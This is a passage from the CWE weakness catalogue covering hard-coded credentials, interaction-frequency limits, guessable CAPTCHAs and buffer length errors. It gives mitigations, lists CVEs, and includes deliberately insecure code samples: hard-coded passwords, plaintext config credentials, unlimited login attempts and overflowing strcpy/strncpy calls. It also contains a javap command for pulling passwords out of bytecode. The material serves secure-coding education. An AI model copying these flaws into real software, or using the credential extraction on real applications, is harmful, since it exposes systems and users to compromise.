According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the software must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Example Language: Java *(bad)*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language: *(attack)*

```
javap -c ConnMngr.class
   22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
   24: ldc #38; //String scott
   26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
```

Example Language: C# *(bad)*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2772*
CVE-2010-2073	FTP server library uses hard-coded usernames and passwords for three default accounts *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2073*
CVE-2010-1573	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1573*
CVE-2008-2369	Server uses hard-coded authentication key *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2369*
CVE-2008-0961	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0961*
CVE-2008-1160	Security appliance uses hard-coded password allowing attackers to gain root access *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1160*
CVE-2006-7142	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7142*
CVE-2005-3716	VoIP product uses unchangeable hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3716*
CVE-2005-3803	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3803
CVE-2005-0496	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0496*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	1897
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
OMG ASCSM	ASCSM-CWE-798		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
70	Try Common or Default Usernames and Passwords
191	Read Sensitive Strings Within an Executable

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-729]Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". 2010 March 0. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/10/top-25-series-rank-11-hardcoded-credentials/ >.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-799: Improper Control of Interaction Frequency

Weakness ID : 799 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	678
ParentOf	B	837	Improper Enforcement of a Single, Unique Action	1550

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insufficient anti-automation : The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force : Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	
Access Control	Bypass Protection Mechanism	
Other	Other	

Demonstrative Examples

Example 1:

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

Example Language: C *(bad)*

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C *(good)*

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
    count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
```

Observed Examples

Reference	Description
CVE-2002-1876	Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1876*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < http://projects.webappsec.org/Insufficient+Anti-automation >.

CWE-804: Guessable CAPTCHA

Weakness ID : 804 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated that with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ChildOf	C	330	Use of Insufficiently Random Values	730
ChildOf	C	863	Incorrect Authorization	1573

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then*	

Scope	Impact	Likelihood
	an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < http://projects.webappsec.org/Insufficient+Anti-automation >.

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID : 805 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	806	Buffer Access Using Size of Source Buffer	1504
CanFollow	B	130	Improper Handling of Length Parameter Inconsistency	321

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Assembly *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.*	
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-59] [REF-57].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
```

```
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C *(bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C *(good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 4:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C *(bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C *(good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Observed Examples

Reference	Description
CVE-2011-1959	Chain: large length value causes buffer over-read (CWE-126) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1959*
CVE-2011-1848	Use of packet length field to make a calculation, then copy into a fixed-size buffer *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1848*
CVE-2011-0105	Chain: retrieval of length value from an uninitialized memory location *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0105*
CVE-2011-0606	Crafted length value in document reader leads to buffer overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0606*
CVE-2011-0651	SSL server overflow when the sum of multiple length fields exceeds a given value *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0651*
CVE-2010-4156	Language interpreter API function doesn't validate length argument, leading to information exposure *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4156*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	1884
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1915
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers
256	SOAP Array Overflow

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < http://www.redhat.com/magazine/009jul05/features/execshield/ >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-741]Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". 2010 March 1. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/ >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID : 806 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	805	Buffer Access with Incorrect Length Value	1497

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.*	
Access Control	Bypass Protection Mechanism *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Demonstrative Examples

Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C *(bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

